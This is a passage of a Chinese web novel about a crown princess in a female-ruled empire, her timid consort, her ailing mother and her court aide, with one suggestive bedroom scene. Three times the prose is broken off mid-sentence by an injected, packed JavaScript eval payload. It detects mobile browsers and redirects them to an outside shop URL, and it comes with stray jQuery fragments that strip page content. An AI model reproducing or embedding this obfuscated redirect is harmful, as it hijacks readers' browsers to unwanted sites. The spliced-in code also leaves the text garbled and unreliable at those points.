那小娘子慌乱地摇头,左右试探着,想要突破包围,却又被几人堵得严严实实,似乎是害怕的,但又始终没开口说话,让旁观的人弄不清状况,也不知道是在玩闹还是起了争执。
顾承乾也是不想管的。
毕竟她们都是自己进的青楼,八成都是爱玩的,又都是同性,能出什么事。她没必要去打扰人家,所以只看了两眼,就打算继续走。
就在她的视线要移开的时候,那女子又一次试图躲闪,帷帽上的面纱不经意掀开了一角。
尽管只是一瞬,回过神来那女子就迅速的将其拢上,但顾承乾的瞳孔却骤然一缩。
那是一张她绝不会认错的脸。
他怎么会在这里?会不会只是长的像!
纵使心中万般怀疑,万分不敢置信,但顾承乾依旧免不了生起一团无名之火,而比它更快的,是太女蕴藏着怒气的声音。
“住手!”
顾承乾沉着脸,一步一步的向着人群走去,明黄色的朝服实在过于显眼,远处几个穿着简单,一直在看热闹的女子不由得掩面躲在了桌子底下。
对此,太女暂时没有心思去看都是谁,周身散发的低气压,直直的对着那几个纨绔女而去,她们下意识的避让了起来,任由顾承乾走进中心。
顾承乾看没看她们,目光只是牢牢锁住那个僵在原地的蓝色身影,走到了她的面前,缓缓停下。
在所有人惊讶的目光中,顾承乾伸出手,但却并非拉人,而是轻轻拈起了那帷帽的边缘,将自己也罩了进去。
轻纱划过,在帷帽之下,谢青珏煞白的小脸彻底暴露在了顾承乾面前。
他眼圈泛红,睫毛上还挂着惊慌的泪珠,嘴唇被咬得失去了血色,但在见到她的那一刻,却像是终于找到了什么靠山一样,投入了她的怀里。
霎时间,顾承乾心中的怒火被一种复杂的酸涩感所取代,任由谢青珏将眼泪蹭到她的身上,感觉到对方的颤抖,轻轻叹了一口气,还是把他揽入怀中。
“你竟然还委屈上了。”太女的声音很轻,带着几分显而易见的郁闷。
“太女夫,难道生气的不该是孤?”
8. 学到了些什么?
“还是年轻好啊,一个活生生的娘子,一把就能抱起来。”
紫色常服的户部尚书揉着腰,望着太女离去的背影,叹息着摇头,满是追忆。
她年轻的时候,也是风度翩翩,年轻力壮的娘子。现在年纪大了,就连来了青楼也只是看看歌舞,顺带喝两杯甜美的果酒,可比不得当年啊。
久久的听不到身边的人说话,胡尚书往后怼了怼,却一下子戳了个空。
诶?
四下望去,除了几个心照不宣、从来不相互打扰的老朋友,胡尚书最正直,最为亲密的好朋友,礼部尚书林大人竟是不见了踪影。
没道理啊。
虽然每次都是她半强迫的带着好友过来,但好友本人端方守礼,是可以欺之以方的娘子,断然做不出自己离开,把她一个人留下的事情,除非……
胡尚书眯起了眼,看向太女离开的方向。她不会是觉得太女取向有差,所以跑去进谏了吧!
对于好友的正直可靠,胡尚书了如指掌,心里有几分猜测,但事实还真不如她所想。
青衣巷,晚市。
华灯初上,长街被喧嚣的人声填满,食物与脂粉的香气,被晚风一股脑的交织在一起,构成了京都最为鲜活景象,它将持续一整晚,而京中人们对此都见怪不怪。
同样的,一前一后,一华丽一简朴两辆马车从此处经过,更是激不起半点水花。尽管对于后面那架马车来说,侍奉车架的人经验似乎也过于老道,和这架朴实无华,甚至看起来有些破旧的车架并不适配。
车轮碾过石板,发出规律辘辘的声音,混杂着商贩的叫卖声,以及小孩子的争吵声,清晰的传到了马车内,身处其间的主人,此刻却安静的可怕。
宽敞的马车内,帷帽之下的太女夫红透了脸。在众目睽睽之下,太女将他拦腰抱起,一路行至此处,二人单独相对。
即便是已经离了太女,但太女身上冷冽好闻的气息,依旧在他周身缭绕,似乎诉说着他们之间亲密无间。
这是东宫熏香的味道,其实他身上早就沾染上了,但却始终没有太女身上的好闻,也从来没有觉得这股味道让人这般面红耳赤。
“站稳了。”
平静的声音在他头顶响起,听不出喜怒。谢青珏却猛地回过神来,心跳如鼓,惊慌的朝她看去。
“殿下,臣侍没有失节,臣侍——”
殿下原本就对他不喜,如今又是在那样的场合下见面,会不会更加厌恶他,他……
谢青珩脸上瞬间没了血色,不敢再继续想下去。
太女端坐正中央,奇怪的看了一眼自己这位名义上的太女夫。
说的这是什么话。
他一上车就站在一旁,也不摘帷帽,只一味地低着头,不断的扯着自己的袖子。太女本人自然是十分开明,虽然不太懂他怎么喜欢站着,但也没有吭声。
刚刚路有颠簸,她还好心提醒了他一番呢。
“我看得分明,几个娘子也只是对你好奇,又没做什么,你和失节有何干系?”
太女骨节分明的手探了出去,拈住了帷帽的一角。帷帽被轻轻掀起,一双湿漉的眼睛就这样闯了进来,顾承乾还没继续询问,胸口就被重物撞击。
太女夫扑了上来。
“殿下,臣侍错了,您如何责罚臣侍都好,只求殿下不要弃了臣侍好不好……”
柔软的发丝蹭在了太女因疼痛而略带痛苦的脸上,她下意识向后躲开,怀中男子身躯一僵,肩膀处传来了温热潮湿的触感。
这就哭了?
顾承乾的目光在他身上打了个转。
或许是因为女性掌权,所以男子大都是温顺柔弱、清俊高挑的男儿。他们不强壮,又没有生育后代的能力,嫁了人以后,要么就要倚靠母亲地位,要么就是凭借着身段和相貌,勉强获得妻主几分宠爱。
她的太女夫,女尊社会十分典型的男儿。从她出生开始,所有和她年纪相仿都世家子都暗戳戳的开始培养,从家世、样貌、性情之上调查,甚至母皇还无师自通的查起了家族隐藏病史,多方比对之下,这才选中了谢青珩。
他是京中贵子的典范,但现在也只能蜷缩在她怀里,因着她一个无意的动作,就崩溃的仿佛下一秒就会世界毁灭一样。
她就是天。
顾承乾停顿了片刻,但仅仅是这样短暂的时间,于谢青珏而言,却漫长如同过了一整个春秋。
他还有一年的试用期,被称为试婚,如果太女不满意,可以随时退了他,甚至不需要理由。
太女温暖的手附在了他冰凉的手上拍了拍,极轻、极缓,让人顿时安下心来,身体渐渐回温,拽着衣角的手也卸了力气,任由太女拿在手中随意把玩。
“谢青珏,抬起头来,看着孤。”顾承乾手腕用力,太女夫半是被迫的起了身,明明算是居高临下的俯视,却又怯生生的望着她,泪眼婆娑,模样好生可怜。
顾承乾伸手,没去碰他的脸,先是轻轻拈起他一缕垂落的发丝,别到耳后,随后手顺势下移,落在膝上,手掌张开。
太女夫乖巧的跪坐在她面前,脖颈落在上面,眼巴巴的望着她,像是什么可怜的小动物,落在手里的光滑细腻,似是一块上好的玉珏,触手生温,却又柔软至极。
顾承乾放轻了声音:
“怎么会来这里,是来找我的?”
“臣侍听说殿下去了怡红院,想看看殿下是喜欢他们什么,”他的声音越来越小,“所以,所以……”
“所以就出来了?”
听不出太女的语气里,谢青珏小心翼翼的瞄了一下她的脸色,见她状似不曾生气,这才继续开口:“嗯。其实也有想和他们取经的意思,臣侍无趣,殿下不喜欢,所以想学一下怎样讨殿下喜欢……”
却不想发生了这种事,还让殿下看见。也幸好殿下看见,不然他不知道要怎么办好了。
谢青珩一边说着,咬了咬下唇,白皙的手指试探性的触到了太女殿下腿上,双手并排,规规矩矩的摆在上面。
“哈。”太女笑了,“看来你似乎真的学到了什么?我倒是有些期待了。”
马车速度减缓,依稀可以听见外面有人交谈,太女站起身,顺势将他也拉了起来:“出来的时候有人看见你吗?”
“不曾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745141|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“那便好。”
好什么?
下一秒,谢青珩眼前一暗,帷帽又罩在了头上,尚未做出反应,便传来一阵似曾相识的失重感,他不由得惊呼出声。
“殿下——”太女将他横腰抱起。
“噤声,我带你溜回去。”
天子脚下,皇宫门外,即便是顾承乾贵为太女,她的车架也难免要被查。柳意还好,虽说身份不光彩,但也也还说得过去,最多是被念叨两句不要沉迷男色,但谢青珏就不一样了。
所以为了保护太女夫的身份不被发现,太女殿下有了个绝妙的主意。
“殿下!皇宫不能骑马,殿下!!”
“哎呦喂,您可得慢点啊——”
“殿下!!”
守门侍卫追逐两步,碍于职责只能回去;被皇帝派到门口等她的内侍官一味地担心她;而那架车都官员被抢了马,就只能声嘶力竭的喊一声了。
架车的马没了,就相当于拉磨的驴没了,她要怎么把车拉回去?
众人神态各异,所思所想各不相同,唯一相似的,是他们都只能遥望太女背影。
宫有宫规,她们需得遵守,但太女不用。
少年策马,张扬肆意。顾承乾一手握缰绳,另一手稳稳箍在怀中细腰,膝盖微曲,驰骋而过。
马蹄声疾,踏过沉寂的皇宫,如同太女刚出生时一般,高调的打破了一潭死水。
在无人在意的地方,柳意自那架破旧的马车上探出头,透过晃动的车帘缝隙,看着那道背影化作一个小点,最后消失在宫墙深处,手指无意识地绞紧了衣角。
不顾礼法,携一青楼相识的女子,于宫门处驰马,如此作态……
恍惚间,一个荒谬至极的念头,清晰的从脑海中浮现,随后快速发展壮大,直至扎根在他的脑中。
太女殿下,莫非……好女风?
原来如此,难怪,难怪太女对他的示好那般冷漠。
他在风月场中浮沉多年,深谙女人心性,还不曾听闻有人会拒绝主动送上门的美男,若是太女不喜欢男人,那就一切都说的通了。
“吱呀——”
马车车轮碾过宫门,在验明身份后,柳意正式的进了皇宫。
他本是抱着为奴为侍,也要跟在顾承乾身边,一步步接近她的心思。但现在他已经孤注一掷了,太女殿下却性向有疑,他又要做什么呢?
一种前所未有的茫然涌上心头。
另一边,东宫。
太女一路畅通无阻,直等到了东宫,这才勒住马缰,动作利落地翻身下马,伸手将太女夫引至马下。
“方才在宫门见了母皇的内侍官,许是有事问我,你先去更衣,我晚些回来。”
太女的这般嘱咐,谢青珩已经听过无数次。虽是失落于殿下同往常一样的态度,但也明白自己身份,谢青珩照例点头称是,目光却微微失神。
直到……
“我很期待你和我展示自己新学到的东西,太女夫。”
太女说的一本正经,太女夫却瞬间红透了脸。
殿下是……是在和他调情吗?
9. 论出题者和答题人的思想差距
“快,快,把它抓起来啊,还愣着干什么呢!”
“这边!这边再来个人把它围住,殿下没准什么时候就要来了,动作都麻利着点。”
乾安宫,皇帝起居的场所,按理来说当是庄严肃穆之地,再不济也该是清净之所,如今却鸡飞狗跳,一派喧哗。
物理上的鸡飞狗跳。
“砰!”尘土飞扬。
“抓到了抓到了,快把笼子递过来!”
头戴大红冠的公鸡仰头嘶鸣。它与人交战良久,虽英勇对敌,但最终还是惜败于人类的人海战术,含恨被囚,等待它的将是邪恶生物的残忍手段。
“今天这鸡还挺厉害,我手都被啄了。”皇宫里当差的分为内侍和侍男,供皇帝驱使的自然是内侍居多,管理她们的就叫内侍官。
“哈哈,你怎么还矫情起来了,要不要姐姐给你好好吹吹啊。”
被打趣了一番,贴身侍候皇帝的内侍官也不恼,象征性的又和众人打闹两句,就把人打发下去,随意把手上的血蹭了两下,让人来捡落了一地的鸡毛。
当顾承乾踏进乾安宫的时候,看到的就是这样一幕。
侍男们一个个弯腰低头,手指在地上捻起了什么,看的不大真切。太女蹙眉,走上前来,内侍官小跑着迎了上来。
“太女殿下安——”内侍官一边大喊问安,一边对着身旁侍男小幅度的挥了挥衣袍,凑到顾承乾面前,“您来的巧,陛下刚喝了药,现下还没睡呢呢。”
“今日母皇寝殿倒是格外热闹,你们……”顾承乾点头,目光扫过已经起身,正拘谨的站在一旁的侍男。又不动声色的在内侍官身上打量了一圈,视线从她凌乱的发丝,到沾尘的衣袍,最后停在她的手背上。
“这是做什么呢,怎么还伤了。”
顾承乾指了指内侍官的手,她下意识把手缩回了袖子,“没,没做什么殿下。我东西掉了,让他们帮我找找而已。”
一个漏洞百出的谎言,不用顾承乾说,内侍官自己说完话就心生悔恨。
这鸡身上的毛不少,落了许多细小的绒毛,被风吹的到处都是,甚至落到了人身上,殿下怎么可能看不见。而且看见了又怎么样,殿下又不知道是给陛下烤鸡用的。
太女瞥了她一眼,一伸手,羽毛就施然落在了她的掌心。轻轻一吹,它就再次开始了流浪。
对于内侍官的话,顾承乾懒得深究。总归是件小事,内侍官自己就能解决。
“嗯,等下记得找医官拿金创药,别总不把伤口当回事。”嘴上劝着内侍官,也不耽误太女殿下脚下生风,二人一同朝内殿走去。
正如内侍官所言,皇帝看起来精神还不错,此时倚靠在床边,见女儿过来,朝她招了招手。
“乾儿来了!”
顾承乾连忙上前,坐到床边,给她掖了掖被子:“远远瞧着母皇神色不错,怎得近了一瞧,脸色竟是这般苍白,可是病情又加重了,医官怎么说?”
说着,她就要伸手去探她的体温,被老母亲灵活躲过,太女显然一愣,紧接着母皇那张尽显病态的脸就别到了另一边,铺天盖地的咳了起来。
“陛下身体不适,还不快去传医官!”顾承乾甫一起身,手腕就被一只手禁锢住,一时不察,竟是险些倒在母亲身上。
四目相对,顾承乾双手撑在床边,颇有几分不可思议。
“您……”即便是几番折腾,咳的天昏地暗,母皇的脸色依旧苍白,唇色暗淡,神色怏怏,纵使有再多的疑惑,也只剩下了心疼。
“我没事,刚服过药,哪里就能好的那样快。”她拍了拍太女手,“不必忧心我,宫中医官具是天下最好的医者,有她们在,我这把老骨头还能活。”
母亲在她面前,一向是温柔和蔼又不失庄重威严,此刻亲昵的拍揉着她的手,像是再正常不过的事情,但手腕上的疼痛又难免让人生疑。
生病了也这么大的力气吗?
“咳、咳咳……”顾启朝再次咳了起来,内侍官适时递上了茶杯,“你们都先下去吧,我和太女有话要谈。”
似乎真的如母皇所说,方才只是因为刚用药,药效尚未起作用,现下,用了水,唇色似乎确实好了不少。
没了旁人,一国之中最为尊贵的母女俩又凑在了一起,相互依偎,与幼时一般无二。
“今日感觉如何,听说两位将军闹了起来,还把你给拐去了青楼?”
“也算不得闹,我瞧着朝中大臣看的还挺开心的,您心爱的探花娘子还高高兴兴的开盘下注。”提到这个,顾承乾突然坐了起来,“差点忘了,她竟然敢下注,我再罚她三个月的俸禄!”
“我可怜的小李探花,她才刚入翰林,怕是家无余财。”皇帝嘴上心疼,但上挑的眼尾却是暴露了她的想法。
小李探花被胡尚书捉了去,有这么个岳丈,哪里能短的了她,最多是小李探花难以为继,带着家人灰溜溜跑去打秋风罢了。
“若是能让她涨些记性,那最好不过了。”顾承乾不落下风,立马接了下去,看起来对于第一天的遭遇还在耿耿于怀。
“还如小时候一样记仇。”揽着长女的肩膀,皇帝再次哼起了少时的歌谣。窝在母亲怀里,太女也不端着,大大方方的展示自己的小气。
“我也想去和旁人记仇,但程、傅两位将军,尤其是程将军,和她记仇总觉得自己也不大正常。”
就像是被狗咬了,你非要咬回去一样,多半是沾了点什么不干净的东西,但不咬回去吧,又总觉得不甘心。
其实咬回去也不甘心,因为狗不用打狂犬疫苗。不过她现在回不去,被咬了也不用打。
知女莫若母,顾启朝一语戳穿:“觉得被拽去青楼,丢了你太女殿下的面子?”
太女不说话,往母皇的怀里凑了凑,顾启朝莞尔一笑,轻拍她的背以作安慰,眼里满是止不住的笑意。
“看来,我的乾儿也是结结实实吃了个闷亏啊。”她继续道:“说到程将军,乾儿觉得她如何?”
顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745142|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
承乾从母亲怀里抬起头,不理解她为何突然谈起这个,但还是顺着话头想了想:“鲁莽、好色、头脑简单,但又确实忠心,还算听劝。”
“是呀。”皇帝的目光变得深远,叹息道,“程将军这个人,你瞧着她是傻,但整个朝堂没人和她有怨,和谁都能勾肩搭背喝两口酒。反倒是傅将军,除了程将军主动凑上去,一向是独来独往。”
“您是想说,她那些表现是在装傻骗我?”顾承乾回忆了一番,越想越觉得可能。
三十多统军踏破北夷王城,怎么可能是没有心机之人,想来事特意这般表现,所以……
“不不不,你想到哪里去了。”皇帝连忙出声打断,有些哭笑不得,“恰恰相反,她虽心思通透,却又不失直爽率真,向来有什么说什么,不会藏着掖着,是十分磊落的娘子。”
母皇语重心长:“我也不知你是怎得有了这么个性子。你哪里都好,却偏偏总是把人想的那般坏,自古以来,还没见过这么多心机阴沉之人。”
“娘是想告诉你,不要把她们想的这么可怕,试着接纳大人们,她们都很喜欢你呢……”
自乾安殿中出来,天色已经彻底暗了下来,身后不远不近的跟着几个内侍,提着灯,保持着能让她看见前面的路,又不会让她觉得被打扰到距离。
其实天色很好,月光明亮,天上的星星一个个也不甘示弱都展示着自己,即便是不用灯笼也看得清路。
顾承乾漫无目的仰着头,看着和她最初记忆里完全不同的星星,思维有些发散。今天的奏折还没批,不过她们沧溟上二休一,明天放假,她可以一起批。
柳意这个人她有大用,等把青楼买下来,直接送他当鸨父,让青楼变成歌舞坊。
她前世虽然总觉得男女之间不甚公平,但这辈子女性占了优,她没兴趣报复回去。欺负弱者,还是无辜的弱者,这不能让她有任何的快感。
天下总归会是她的天下,百姓也是她的百姓。
其实这里本身就和她前世不同,男女统治下有差别实在正常。人类自女性罗裙下诞生,所以她们天生擅长共情,擅长怜悯弱者,体谅她人,彼此之间没有太多阴谋,似乎也人之常情。
她对母皇的说法依然抱有将信将疑的态度,但她并非听不进劝的倔种。母亲在位多年,关于臣子最是了解不过,或许她也应该放下以往经验,重新认识一下朝臣?
但放下偏见谈何容易啊。
她甩甩头,将纷繁杂乱,尚不能理顺的思绪放下。眼下还有更要紧的事。
“殿下安。”
东宫门外,站着一道墨色身影,在黑夜的映衬下,那几道太女亲自要求点缀的金线更加显眼,顾承乾皱眉:“晓昭,你怎么还在宫中?”
此时天色已晚,宫门落锁,虽然晓昭在东宫里也有自己的寝殿,但她向来规矩,为了避嫌,在没有要求的情况下,她绝不会留宿东宫。
见太女问起这个问题,晓昭一阵苦笑:“殿下,您可把我害惨了!”
10. 太女夫学习成果展示
晓昭是谁,太女伴读,贴身内侍官。可以说只要顾承乾上位,她想留在宫里,就是天子的话事人,地位比起正牌皇夫几乎没有差别。要是不想留下,放出去也是直接预订了个宰相的位置。
但这都是未来。
她在东宫认认真真做事,先是被皇夫叫去刁难,好不容易糊弄过去,回来继续给太女干活,又在她马上要出宫的时候,被殿下带回来的人给缠上了。
“柳郎虽是对殿下情真意切,但臣窃以为,或许请一二侍男教导一番,也不失为一个好主意。”晓昭试探性的开口,看顾承乾神色并无变化,便知晓她并不在意,也大着胆子细说了起来。
“不知为何,柳郎与臣说话时除了问殿下的喜好,还问了些许臣的习惯,虽说臣不会多想,但毕竟男女有防,他是殿下的人,此举不太妥当……”
晓昭说的很委婉,大概直译一下就是:他私下里刺探储君喜好就罢了,还能当做想讨太女欢心,但变着法问她的喜好,什么喜欢什么衣服,平日里爱做什么,看什么书……
这算什么?
说出去都让人笑话,不和太女说清说晓昭哪里敢走。这不嘛,她不仅要留下来说,还直接站在门口,生怕引人误会。
“不必理会,我同他没什么关系,倒是你。”顾承乾来了兴致,搭着晓昭的肩膀,带着人往东宫进,“你年纪也差不多了,有没有看上的郎君,我亲自为你写赐婚的诏书。”
太女生辰晚,出生第二天就是新年,按虚岁算如今也是20,不过她本人还是认为自己十八的,而晓昭19,尚未成婚,算起来也该挑了。
“殿下抬爱了。”晓昭敬谢不敏。
碰了一鼻子灰的太女殿下尴尬的笑了笑:“我皇父有没有怪你、难为你?”
她母亲作为天下之主,即便是还生着病,知道她的动向也很容易;她皇父管理六宫,自然也难免有所了解。她做了什么事,她皇父自然不会怪她,但晓昭可就惨了。
晓昭摇头:“并未,我是外臣,皇夫岂会为难。”两人相携,一同迈进东宫。
东宫是太女居所,她自七岁起就离开了母皇的宫殿,搬至此处独居。
一进入东宫,第一眼看到的就是一座莹白色雕刻建筑物,有别于传统石制庭院装饰,它的本体是一整块玉石。
千里江山玉雕,一整块玉雕刻而成,王家耗费十数年,从选材到取景,最后再由几百位能工巧匠一同雕刻而成,自太女出生起开始打造,大婚之日堪堪完成。
虽说太女也常常感叹此举太过豪横,但成品确实惊艳。选取了各地突出景观和标志性建筑,北方雄关巍峨,南方水榭轻盈,山川河流皆是栩栩如生,分列各处,如同小山一样摆在东宫。
更精妙的地方在于匠人在两边各打上一口暗井,一边放水一边接水,行程流水滔滔不绝,奔流不息之态。其智慧让人拍案叫绝,也让太女得以伴着潺潺水声,对着如画江山,谈起朝中政事。
“王侍郎与皇夫算是同宗,说起来与殿下有些亲戚,现今在户部任职,长于酒量,善品酒,和诸位大人关系不错,只有礼部林尚书似乎与她有些纠纷。”晓昭办事速度很快,顾承乾刚说她就已经着手调查了,如今有了些许结果,但依然疑点重重。
“确实不曾听说任何与其师承有关的事,但其他同一师门的大人虽然面上不显,可暗地里也是多有照顾,行迹诡异。”
闻言,顾承乾把目光放在了那水榭楼台上,下意识的开始推测隐瞒师承能做什么。是不想同师门战队,还是要打造孤臣形象,又或者是李儒孝谋划着什么,需要门下弟子分散开来……
但很快,顾承乾就反应了过来,之前说要试着往好处想的。
她闭了闭眼,揽着晓昭,沿着玉石江山的边缘向殿内走去,睁开眼时带上了几分迟疑,犹豫的说道:“没准,会是太过顽劣,李师不允许她说出师承?”
既然要想,那就干脆想个脑洞最大,最不可能,最八竿子打不着的原因。
太女思维跨越极大,晓昭愣了一愣,最后竟然若有所思的点了点头:“确实可能。”
“臣已经派人下江南查勘,但江南路远,还要在李师那边调查一段时间,所以还要等上一等。”
顾承乾沉默了半晌。
“你真觉得可能是这个原因?”
晓昭坚定的点点头,疑惑的看着太女,像是在问她有什么问题吗。
这让顾承乾开始有些怀疑自己。是她以前太过阴谋论,确实想多了;还是晓昭太过信任她,对她的猜测全部认可?
一直到回到了寝殿,顾承乾还是没有想明白,索性也就先不想了,等调查结果出来,自然一切都明了了。
寝殿内,谢青珏竟并未歇下,反而衣冠齐整,端坐在外间的小榻上,手里还拿着一卷书,原是可以赞上一句用功刻苦的,但听到脚步声的那一瞬,他立刻站起身,暴露出他不曾认真读书。
“殿下。”太女夫迎上前,声音依旧温和,但耳根却透着淡淡的粉色,不敢直视太女。
“我回来晚了,你竟然还没睡。”太女手刚搭在少年腰间,他就如同惊弓之鸟一般,猛地窜了出去,随后又羞涩嗔怪的看着她,像是她做了什么错事一般。
顾承乾:??
说实话,太女很不理解。控诉她和他不亲近的也是他,现在亲近两下又逃跑的也是他,若不是太女性子好,太女夫八成是真要失宠了。
似乎是也知道自己做的不对,谢青珩有小步挪了回来,露出光洁细腻的侧颈:“殿下~”
他自行牵起了顾承乾的手,小心翼翼的捏了捏:“臣侍方才有些失神,一时反应不当,殿下别气。”
“哦?”原本不在意的,但他这么一说,顾承乾还真想知道他这是做什么了,而且……
要是没感觉错,太女夫原本柔韧的腰肢上,似乎有什么东西,还有点硌手。
“在想什么?”
顺手将太女夫拽入怀中,顾承乾坐在小塌上,让人坐在自己腿上,太女夫瞬间满头是汗,扬起好看的天鹅颈,脸连脖颈都沾染了好看的绯色,但莫名感觉到了几分色气。
“臣,臣侍在想柳弟弟、嗯、殿下是不是去要柳弟弟那里了。”
太女的手早已摸索上了轻薄的脊背,此时浅笑着凑近几分,温热湿润的气息覆上了滚烫的耳垂:“弟弟?”
感觉到了一个珠串似的物品,顾承乾伸手拽了拽,太女夫瞬间绷紧了身体,喉咙间溢出清浅都哀鸣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745143|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“怎么,谢大人还有流落在外的孩子?”
“没,没、没有~”
太女夫的声音婉转,一句话,两个字,恨不得变三个声调。
“那你瞎认什么弟弟,谁让你和外人称兄道弟了?”
“殿下……”
谢青珩再次投入了顾承乾怀中,不过这次的分寸拿捏的很好,太女无痛拥有了一个大号等身玩偶,一提线就会小声哽咽的那种会说话会动的玩偶,于是太女自动探索起了其他线头。
“太女夫,尚衣局怎么做的衣服,竟是这般不合身,让孤的太女夫受这么多苦。”顾承乾一边继续玩弄,一边温声替他抱怨起了衣服。
“可怜见的,都委屈成什么样了。”
太女声音悲悯,但手上动作可没停,直至太女夫崩溃的吼叫出声:“殿下——”
“呜呜……您不要,不要再欺负我了,哼……恩哼……”
泪水决堤,太女夫面子全无,索性彻底放开了本性,不再试图保留自己那可笑的自尊心,解开了完整的外衫。
在修长白皙的身躯上,一串颗颗饱满,珠圆玉润,大小交错,似乎有自己的规律。它们几乎和他一个颜色,自腰腹间交叉盘旋,绕过胸口,穿过大腿,环过男子的贞洁。几条金色的链子挂在奇怪的位置上,还戴着拉环,显然是她刚刚玩弄的对象。
这显然不是普通的饰品,更不会是大家闺秀该有的东西,更像是出身于青楼违禁品,而今却出现在了她端庄的太女夫身上。
顾承乾没有说话,寝殿里骤然陷入了寂静之中,只剩下了两人交错的呼吸声。
谢青珏完整的、彻底的暴露在妻主的面前,包括他的身体和他的自尊,在顾承乾炙热的注视中,身体不自觉的挪动,想要把自己蜷缩在一起。
良久,在太女夫要哭出来的时候,太女终于动了,手指沿着珠串游走了一圈,温热的指尖和冰冷的声音皮肤对比鲜明,让人忍不住浑身颤栗。
“这就是你学到的吗?”太女的语气听不出喜怒,但放在性格敏感,此时几乎孤注一掷的想要翻盘的太女夫的太女夫身上,这几乎等同于责骂。
“我……”谢青珏呜咽一声又哭了出来,说话也变得语无伦次,“我,我只学到了这些,我会好好学的,殿下,殿下别不要我好不好……”
“呜……呜呜……我只有殿下了,殿下……”
他尽力了,他已经尽力了,为什么,为什么殿下还是不喜欢,他到底要怎么做。
他想要歇斯底里的质问她,但他凭什么,他凭什么觉得自己只凭借这些手段,就能得到太女的欢心,可他会努力学的,就算、就算不喜欢,只要不被太女讨厌就好了。
“唉。”太女轻叹一声,看着太女夫哭的毫无美感的样子,终究还是起了几分怜惜,“我究竟何时说过不喜欢你了?”
虽然不一定有多喜欢,但终归是结发之夫,又怎么会冷情至此。
男子十五岁成年,算算虚岁,他因为被选做太女夫的原因,已经蹉跎了四年,现下十九了。
纱帐垂落,床头红烛骤然窜高,几颗顽皮的小玉珠悍然出逃,接连落在了地上,太女夫伸出手去要捡,被太女一把扯了回去,委屈的又哼哼唧唧的哭了起来。
11. 东宫限定版戏精
一日之计在于晨,一年之计在于春。
辛苦耕耘的太女殿下像是勤劳的农民,即便不是春天,也依旧早早的起床,开始了一天的流程。
“晓昭,来练练?”
太女跃跃欲试,一脸都挑衅,晓昭也年纪轻轻,就算性格沉稳,也难抵热血上涌,提起身旁长枪,径直迎了上去。
长兵与短兵相接,几十回合过去,二人额角都带了汗。为了避嫌,自从顾承乾成婚之后,这还是晓昭第一次留宿东宫,战况比以往更加激烈,但两人都默契的留了一手,比试只停留在合理切磋上。
“好——”
两人原本已经放缓的停了下来,对视一眼,顺便停了对战。顾承乾率先收了剑,随手向后一扔,正好落在了内侍手中,晓昭气息微喘,紧随其后。
“殿下武艺越发精湛了。”晓昭平静的说出此话,顾承乾知道她这话不是恭维,好心情的揽上她的肩,说说笑笑的往演武场外面走。
“柳意见过殿下!见过大人!”
柳意甫一开口,顾承乾都被他吓了一跳。这声音不算大,但十分清脆响亮,和原本柔顺脆弱的声音完全不同,太女低眸看过去,这才发现柳意几乎像是变了个人。
他依旧是一身青衣,料子精致做工精美,头上的被玉簪挽起,脖颈修长,身姿如柳,但体态上却完全不同。
原本微微内收的肩膀完全打开,表情也从不再仇大苦深,行礼时姿态依然恭敬,却不再同以往那样可怜巴巴的望着她,反而用含笑的双眸和她互动。柳意在她开口前就自己起了身,爽朗大方的笑了出来。
“殿下好兴致。”他刻意微扬着头,像是女子一样抱了个拳,动作刻意的大开大合,袖子一甩一甩的,和他的长相格格不入。
太女:……
她一时不知道自己应该是什么表情,这可真是个性格多变的人才啊。
柳意却不知太女的复杂心情,见顾承乾虽然没有回答他,却也没有立刻斥责,顿时信心十足,只当太女确实关系欢女子。
他几步上前,灼灼地看向顾承乾,努力让自己的眼神显得更加坦荡豪爽:“草民见殿下与晓昭大人武艺精湛,心中钦佩不已,希望也能效仿晓昭大人,为殿下分忧!”
他这话说得掷地有声,如果忽略那纤细的身子和过于俊秀的脸,倒真有几分慷慨激昂的意味,只是外在条件差的太多,让人难以相信。
不过有趣也是确实有趣。
顾承乾回过神,松开晓昭,饶有兴致地上下打量着柳意:“所以呢?想跟我习武吗?”
柳意被她看得有些腿软,又幻视那天匍匐在太女脚边,被太女冷漠注视的那一刻了,但一想到自己亲眼看到的,太女好女风这件事,他又有了几分自信,强行挺直了腰板。
“殿下不信吗?谁言男子不如女。女子武能上阵杀敌、持剑守四方,文可为殿下打理庶务,排忧解难,我们男子又如何不能?”
“还是说,其实殿下也是那庸俗之人,瞧不起我们男子!”
真有意思,装可怜的小绿茶怎么换了个人设,现在要开始当男娘子,和她展示谁说男子不如女的戏码了吗?
晓昭默默地将头转向一边,肩膀微微耸动了一下,显然是被他的宣言逗笑了。
